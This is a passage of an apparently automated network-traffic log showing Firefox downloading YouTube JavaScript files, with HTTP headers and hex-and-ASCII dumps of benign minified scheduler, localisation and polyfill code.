2e 68 3d 7b 7d 3b 55 28 61 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 54 28 61 29 7b 69 66 28 61 2e 69 5b Data Ascii: (a,b),a.D;var e=a.D;a.h[e]=b;a.l&&!d?a.u.push({id:e,priority:c}):(a.i[c].push(e),a.C\|\|a.l\|\|(0!==a.g&&T(a)!==a.m&&U(a),a.start()));return e}function ta(a){a.u.length=0;for(var b=5;0<=b;b--)a.i[b].length=0;a.i[8].length=0;a.h={};U(a)}function T(a){if(a.i[
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 2e 6c 3d 21 30 3b 62 3d 44 61 74 65 2e 6e 6f 77 28 29 2b 28 62 7c 7c 61 2e 6f 29 3b 66 6f 72 28 76 61 72 20 64 3d 61 2e 69 5b 35 5d 3b 64 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 65 3d 64 2e 73 68 69 66 74 28 29 2c 66 3d 61 2e 68 5b 65 5d 3b 64 65 6c 65 74 65 20 61 2e 68 5b 65 5d 3b 69 66 28 66 29 74 72 79 7b 66 28 63 29 7d 63 61 74 63 68 28 44 61 29 7b 75 61 28 44 61 29 7d 7d 66 6f 72 28 64 3d 61 2e 69 5b 34 5d 3b 64 2e 6c 65 6e 67 74 68 3b 29 63 3d 64 2e 73 68 69 66 74 28 29 2c 65 3d 61 2e 68 5b 63 5d 2c 64 65 6c 65 74 65 20 61 2e 68 5b 63 5d 2c 65 26 26 53 28 65 29 3b 64 3d 61 2e 46 3f 30 3a 31 3b 64 3d 61 2e 6a 3e 64 3f 61 2e 6a 3a 64 3b 69 66 28 21 28 44 61 74 65 2e 6e 6f 77 28 29 3e 3d 62 29 29 7b 64 6f 7b 61 3a 7b 63 3d 61 3b 65 3d 64 3b 66 6f 72 Data Ascii: .l=!0;b=Date.now()+(b\|\|a.o);for(var d=a.i[5];d.length;){var e=d.shift(),f=a.h[e];delete a.h[e];if(f)try{f(c)}catch(Da){ua(Da)}}for(d=a.i[4];d.length;)c=d.shift(),e=a.h[c],delete a.h[c],e&&S(e);d=a.F?0:1;d=a.j>d?a.j:d;if(!(Date.now()>=b)){do{a:{c=a;e=d;for
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 65 72 49 6e 73 74 61 6e 63 65 49 6e 73 74 61 6e 63 65 5f 22 29 3b 69 66 28 21 61 7c 7c 61 2e 73 29 61 3d 6e 65 77 20 51 28 50 28 22 73 63 68 65 64 75 6c 65 72 22 29 7c 7c 7b 7d 29 2c 77 28 22 79 74 67 6c 6f 62 61 6c 2e 73 63 68 65 64 75 6c 65 72 49 6e 73 74 61 6e 63 65 49 6e 73 74 61 6e 63 65 5f 22 2c 61 29 3b 72 65 74 75 72 6e 20 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 7a 61 28 29 7b 41 61 28 29 3b 76 61 72 20 61 3d 76 28 22 79 74 67 6c 6f 62 61 6c 2e 73 63 68 65 64 75 6c 65 72 49 6e 73 74 61 6e 63 65 49 6e 73 74 61 6e 63 65 5f 22 29 3b 61 26 26 28 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 64 69 73 70 6f 73 65 26 26 61 2e 64 69 73 70 6f 73 65 28 29 2c 77 28 22 79 74 67 6c 6f 62 61 6c 2e 73 63 68 65 64 75 6c 65 72 49 6e 73 74 61 Data Ascii: erInstanceInstance_");if(!a\|\|a.s)a=new Q(P("scheduler")\|\|{}),w("ytglobal.schedulerInstanceInstance_",a);return a}function za(){Aa();var a=v("ytglobal.schedulerInstanceInstance_");a&&(a&&"function"==typeof a.dispose&&a.dispose(),w("ytglobal.schedulerInsta
2024-01-17 23:35:40 UTC	312	IN	Data Raw: 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 63 61 6e 63 65 6c 41 6c 6c 4a 6f 62 73 22 2c 41 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 73 74 61 72 74 22 2c 47 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 70 61 75 73 65 22 2c 48 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 73 65 74 50 72 69 6f 72 69 74 79 54 68 72 65 73 68 6f 6c 64 22 2c 4a 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 65 6e 61 62 6c 65 50 72 69 6f 72 69 74 79 54 68 72 65 73 68 6f 6c 64 22 2c 4b 61 29 2c 77 28 22 79 74 2e 73 63 68 65 64 75 6c 65 72 2e 69 6e 73 74 61 6e 63 65 2e 63 6c 65 61 72 50 72 69 6f 72 69 74 79 54 68 72 65 73 68 6f Data Ascii: uler.instance.cancelAllJobs",Aa),w("yt.scheduler.instance.start",Ga),w("yt.scheduler.instance.pause",Ha),w("yt.scheduler.instance.setPriorityThreshold",Ja),w("yt.scheduler.instance.enablePriorityThreshold",Ka),w("yt.scheduler.instance.clearPriorityThresho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.6	50206	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	571	OUT	GET /s/desktop/80338919/jsbin/www-i18n-constants-en_US.vflset/www-i18n-constants.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 5863 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	566	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 65 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 66 28 63 2c 62 29 7b 63 3d 63 2e 73 70 6c 69 74 28 22 2e 22 29 3b 76 61 72 20 61 3d 65 3b 63 5b 30 5d 69 6e 20 61 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 61 2e 65 78 65 63 53 63 72 69 70 74 7c 7c 61 2e 65 78 65 63 53 63 72 69 70 74 28 22 76 61 72 20 22 2b 63 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 64 3b 63 2e 6c 65 6e 67 74 68 26 26 Data Ascii: (function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var e=this\|\|self;function f(c,b){c=c.split(".");var a=e;c[0]in a\|\|"undefined"==typeof a.execScript\|\|a.execScript("var "+c[0]);for(var d;c.length&&
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 4f 4e 54 48 5f 44 41 59 5f 59 45 41 52 5f 4d 45 44 49 55 4d 3a 22 4d 4d 4d 20 64 2c 20 79 22 2c 57 45 45 4b 44 41 59 5f 4d 4f 4e 54 48 5f 44 41 59 5f 4d 45 44 49 55 4d 3a 22 45 45 45 2c 20 4d 4d 4d 20 64 22 2c 57 45 45 4b 44 41 59 5f 4d 4f 4e 54 48 5f 44 41 59 5f 59 45 41 52 5f 4d 45 44 49 55 4d 3a 22 45 45 45 2c 20 4d 4d 4d 20 64 2c 20 79 22 2c 44 41 59 5f 41 42 42 52 3a 22 64 22 2c 4d 4f 4e 54 48 5f 44 41 59 5f 54 49 4d 45 5f 5a 4f 4e 45 5f 53 48 4f 52 54 3a 22 4d 4d 4d 20 64 2c 20 68 3a 6d 6d 5c 75 32 30 32 66 61 20 7a 7a 7a 7a 22 7d 2c 68 3d 67 3b 68 3d 67 3b 76 61 72 20 6b 3d 7b 45 52 41 53 3a 5b 22 42 43 22 2c 22 41 44 22 5d 2c 45 52 41 4e 41 4d 45 53 3a 5b 22 42 65 66 6f 72 65 20 43 68 72 69 73 74 22 2c 22 41 6e 6e 6f 20 44 6f 6d 69 6e 69 22 5d 2c Data Ascii: ONTH_DAY_YEAR_MEDIUM:"MMM d, y",WEEKDAY_MONTH_DAY_MEDIUM:"EEE, MMM d",WEEKDAY_MONTH_DAY_YEAR_MEDIUM:"EEE, MMM d, y",DAY_ABBR:"d",MONTH_DAY_TIME_ZONE_SHORT:"MMM d, h:mm\u202fa zzzz"},h=g;h=g;var k={ERAS:["BC","AD"],ERANAMES:["Before Christ","Anno Domini"],
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 2c 22 4d 4d 4d 20 64 2c 20 79 22 2c 22 4d 2f 64 2f 79 79 22 5d 2c 54 49 4d 45 46 4f 52 4d 41 54 53 3a 5b 22 68 3a 6d 6d 3a 73 73 5c 75 32 30 32 66 61 20 7a 7a 7a 7a 22 2c 22 68 3a 6d 6d 3a 73 73 5c 75 32 30 32 66 61 20 7a 22 2c 22 68 3a 6d 6d 3a 73 73 5c 75 32 30 32 66 61 22 2c 22 68 3a 6d 6d 5c 75 32 30 32 66 61 22 5d 2c 44 41 54 45 54 49 4d 45 46 4f 52 4d 41 54 53 3a 5b 22 7b 31 7d 20 27 61 74 27 20 7b 30 7d 22 2c 22 7b 31 7d 20 27 61 74 27 20 7b 30 7d 22 2c 22 7b 31 7d 2c 20 7b 30 7d 22 2c 22 7b 31 7d 2c 20 7b 30 7d 22 5d 2c 46 49 52 53 54 44 41 59 4f 46 57 45 45 4b 3a 36 2c 57 45 45 4b 45 4e 44 52 41 4e 47 45 3a 5b 35 2c 36 5d 2c 46 49 52 53 54 57 45 45 4b 43 55 54 4f 46 46 44 41 59 3a 35 7d 2c 6c 3d 6b 3b 6c 3d 6b 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 Data Ascii: ,"MMM d, y","M/d/yy"],TIMEFORMATS:["h:mm:ss\u202fa zzzz","h:mm:ss\u202fa z","h:mm:ss\u202fa","h:mm\u202fa"],DATETIMEFORMATS:["{1} 'at' {0}","{1} 'at' {0}","{1}, {0}","{1}, {0}"],FIRSTDAYOFWEEK:6,WEEKENDRANGE:[5,6],FIRSTWEEKCUTOFFDAY:5},l=k;l=k;function m(
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 7b 52 3a 7b 30 3a 22 74 68 69 73 20 6d 69 6e 75 74 65 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 6d 69 6e 2e 20 61 67 6f 7d 6f 74 68 65 72 7b 23 20 6d 69 6e 2e 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 20 6d 69 6e 2e 7d 6f 74 68 65 72 7b 69 6e 20 23 20 6d 69 6e 2e 7d 22 7d 2c 4e 41 52 52 4f 57 3a 7b 52 3a 7b 30 3a 22 74 68 69 73 20 6d 69 6e 75 74 65 22 7d 2c 50 3a 22 6f 6e 65 7b 23 6d 20 61 67 6f 7d 6f 74 68 65 72 7b 23 6d 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 6d 7d 6f 74 68 65 72 7b 69 6e 20 23 6d 7d 22 7d 7d 2c 4d 4f 4e 54 48 3a 7b 4c 4f 4e 47 3a 7b 52 3a 7b 22 2d 31 22 3a 22 6c 61 73 74 20 6d 6f 6e 74 68 22 2c 30 3a 22 74 68 69 73 20 6d 6f 6e 74 68 22 2c 31 3a 22 6e 65 78 74 20 6d 6f 6e 74 68 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 6d Data Ascii: {R:{0:"this minute"},P:"one{# min. ago}other{# min. ago}",F:"one{in # min.}other{in # min.}"},NARROW:{R:{0:"this minute"},P:"one{#m ago}other{#m ago}",F:"one{in #m}other{in #m}"}},MONTH:{LONG:{R:{"-1":"last month",0:"this month",1:"next month"},P:"one{# m
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 4b 3a 7b 4c 4f 4e 47 3a 7b 52 3a 7b 22 2d 31 22 3a 22 6c 61 73 74 20 77 65 65 6b 22 2c 30 3a 22 74 68 69 73 20 77 65 65 6b 22 2c 31 3a 22 6e 65 78 74 20 77 65 65 6b 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 77 65 65 6b 20 61 67 6f 7d 6f 74 68 65 72 7b 23 20 77 65 65 6b 73 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 20 77 65 65 6b 7d 6f 74 68 65 72 7b 69 6e 20 23 20 77 65 65 6b 73 7d 22 7d 2c 0a 53 48 4f 52 54 3a 7b 52 3a 7b 22 2d 31 22 3a 22 6c 61 73 74 20 77 6b 2e 22 2c 30 3a 22 74 68 69 73 20 77 6b 2e 22 2c 31 3a 22 6e 65 78 74 20 77 6b 2e 22 7d 2c 50 3a 22 6f 6e 65 7b 23 20 77 6b 2e 20 61 67 6f 7d 6f 74 68 65 72 7b 23 20 77 6b 2e 20 61 67 6f 7d 22 2c 46 3a 22 6f 6e 65 7b 69 6e 20 23 20 77 6b 2e 7d 6f 74 68 65 72 7b 69 6e 20 23 20 77 6b 2e 7d 22 7d Data Ascii: K:{LONG:{R:{"-1":"last week",0:"this week",1:"next week"},P:"one{# week ago}other{# weeks ago}",F:"one{in # week}other{in # weeks}"},SHORT:{R:{"-1":"last wk.",0:"this wk.",1:"next wk."},P:"one{# wk. ago}other{# wk. ago}",F:"one{in # wk.}other{in # wk.}"}
2024-01-17 23:35:40 UTC	289	IN	Data Raw: 6e 64 7d 6f 74 68 65 72 7b 23 20 73 65 63 6f 6e 64 73 7d 22 2c 53 48 4f 52 54 3a 22 6f 6e 65 7b 23 20 73 65 63 7d 6f 74 68 65 72 7b 23 20 73 65 63 7d 22 2c 0a 4e 41 52 52 4f 57 3a 22 6f 6e 65 7b 23 73 7d 6f 74 68 65 72 7b 23 73 7d 22 7d 2c 57 45 45 4b 3a 7b 4c 4f 4e 47 3a 22 6f 6e 65 7b 23 20 77 65 65 6b 7d 6f 74 68 65 72 7b 23 20 77 65 65 6b 73 7d 22 2c 53 48 4f 52 54 3a 22 6f 6e 65 7b 23 20 77 6b 7d 6f 74 68 65 72 7b 23 20 77 6b 73 7d 22 2c 4e 41 52 52 4f 57 3a 22 6f 6e 65 7b 23 77 7d 6f 74 68 65 72 7b 23 77 7d 22 7d 2c 59 45 41 52 3a 7b 4c 4f 4e 47 3a 22 6f 6e 65 7b 23 20 79 65 61 72 7d 6f 74 68 65 72 7b 23 20 79 65 61 72 73 7d 22 2c 53 48 4f 52 54 3a 22 6f 6e 65 7b 23 20 79 72 7d 6f 74 68 65 72 7b 23 20 79 72 73 7d 22 2c 4e 41 52 52 4f 57 3a 22 6f 6e Data Ascii: nd}other{# seconds}",SHORT:"one{# sec}other{# sec}",NARROW:"one{#s}other{#s}"},WEEK:{LONG:"one{# week}other{# weeks}",SHORT:"one{# wk}other{# wks}",NARROW:"one{#w}other{#w}"},YEAR:{LONG:"one{# year}other{# years}",SHORT:"one{# yr}other{# yrs}",NARROW:"on

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.6	50207	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	555	OUT	GET /s/desktop/80338919/jsbin/www-tampering.vflset/www-tampering.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	687	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 11085 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:17 GMT Expires: Thu, 16 Jan 2025 15:32:17 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29003 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	565	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 0a 76 61 72 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 Data Ascii: (function(){'use strict';function n(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var p="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 20 74 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 72 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 65 2b 2b 29 7b 76 61 72 20 68 3d 61 5b 65 5d 3b 69 66 28 21 28 68 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 68 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 65 3d 63 5b 61 5d 3b 62 3d 62 28 65 29 3b 62 21 3d 65 26 26 6e 75 6c 6c 21 3d 62 26 26 70 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 74 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 6c 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 Data Ascii: t(a,b){if(b)a:{var c=r;a=a.split(".");for(var e=0;e<a.length-1;e++){var h=a[e];if(!(h in c))break a;c=c[h]}a=a[a.length-1];e=c[a];b=b(e);b!=e&&null!=b&&p(c,a,{configurable:!0,writable:!0,value:b})}}t("Symbol",function(a){function b(l){if(this instanceof
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 78 28 61 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 29 7b 61 3d 77 28 61 29 3b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 61 3d 63 7d 72 65 74 75 72 6e 20 61 7d 0a 66 75 6e 63 74 69 6f 6e 20 79 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 0a 74 28 22 57 65 61 6b 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 64 29 7b 74 68 69 73 2e 67 3d 28 66 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b Data Ascii: function x(a){if(!(a instanceof Array)){a=w(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function y(a,b){return Object.prototype.hasOwnProperty.call(a,b)}t("WeakMap",function(a){function b(d){this.g=(f+=Math.random()+1).toString();
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 72 6e 20 65 28 64 29 26 26 79 28 64 2c 6d 29 26 26 79 28 64 5b 6d 5d 2c 74 68 69 73 2e 67 29 3f 64 65 6c 65 74 65 20 64 5b 6d 5d 5b 74 68 69 73 2e 67 5d 3a 21 31 7d 3b 0a 72 65 74 75 72 6e 20 62 7d 29 3b 0a 74 28 22 4d 61 70 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 76 61 72 20 66 3d 7b 7d 3b 72 65 74 75 72 6e 20 66 2e 70 72 65 76 69 6f 75 73 3d 66 2e 6e 65 78 74 3d 66 2e 68 65 61 64 3d 66 7d 0a 66 75 6e 63 74 69 6f 6e 20 63 28 66 2c 64 29 7b 76 61 72 20 67 3d 66 5b 31 5d 3b 72 65 74 75 72 6e 20 75 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 67 29 7b 66 6f 72 28 3b 67 2e 68 65 61 64 21 3d 66 5b 31 5d 3b 29 67 3d 67 2e 70 72 65 76 69 6f 75 73 3b 66 6f 72 28 3b 67 2e 6e 65 78 74 21 3d 67 2e 68 65 61 64 3b 29 72 65 74 Data Ascii: rn e(d)&&y(d,m)&&y(d[m],this.g)?delete d[m][this.g]:!1};return b});t("Map",function(a){function b(){var f={};return f.previous=f.next=f.head=f}function c(f,d){var g=f[1];return u(function(){if(g){for(;g.head!=f[1];)g=g.previous;for(;g.next!=g.head;)ret
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 28 67 2e 6c 69 73 74 3d 74 68 69 73 5b 30 5d 5b 67 2e 69 64 5d 3d 5b 5d 29 3b 67 2e 68 3f 67 2e 68 2e 76 61 6c 75 65 3d 64 3a 28 67 2e 68 3d 7b 6e 65 78 74 3a 74 68 69 73 5b 31 5d 2c 70 72 65 76 69 6f 75 73 3a 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 2c 68 65 61 64 3a 74 68 69 73 5b 31 5d 2c 6b 65 79 3a 66 2c 76 61 6c 75 65 3a 64 7d 2c 67 2e 6c 69 73 74 2e 70 75 73 68 28 67 2e 68 29 2c 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 2e 6e 65 78 74 3d 67 2e 68 2c 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 3d 67 2e 68 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 0a 68 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 66 3d 65 28 74 68 69 73 2c 66 29 3b 72 65 74 75 72 6e Data Ascii: (g.list=this[0][g.id]=[]);g.h?g.h.value=d:(g.h={next:this[1],previous:this[1].previous,head:this[1],key:f,value:d},g.list.push(g.h),this[1].previous.next=g.h,this[1].previous=g.h,this.size++);return this};h.prototype.delete=function(f){f=e(this,f);return
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 74 68 69 73 2e 73 69 7a 65 3d 74 68 69 73 2e 67 2e 73 69 7a 65 7d 0a 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 65 3d 6e 65 77 20 61 28 77 28 5b 63 5d 29 29 3b 69 66 28 21 65 2e 68 61 73 28 63 29 7c 7c 31 21 3d 65 2e 73 69 7a 65 7c 7c 65 2e 61 64 64 28 63 29 21 3d 65 7c 7c 31 21 3d 65 2e 73 69 7a 65 7c 7c 65 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 65 7c 7c 32 21 3d 65 2e 73 69 7a 65 29 72 65 74 75 72 6e Data Ascii: this.size=this.g.size}if(function(){if(!a\|\|"function"!=typeof a\|\|!a.prototype.entries\|\|"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),e=new a(w([c]));if(!e.has(c)\|\|1!=e.size\|\|e.add(c)!=e\|\|1!=e.size\|\|e.add({x:4})!=e\|\|2!=e.size)return
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 3b 0a 72 65 74 75 72 6e 20 68 7d 0a 74 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7a 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 63 7d 29 7d 7d 29 3b 0a 74 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 Data Ascii: unction(){return h};return h}t("Array.prototype.values",function(a){return a?a:function(){return z(this,function(b,c){return c})}});t("String.prototype.endsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value f
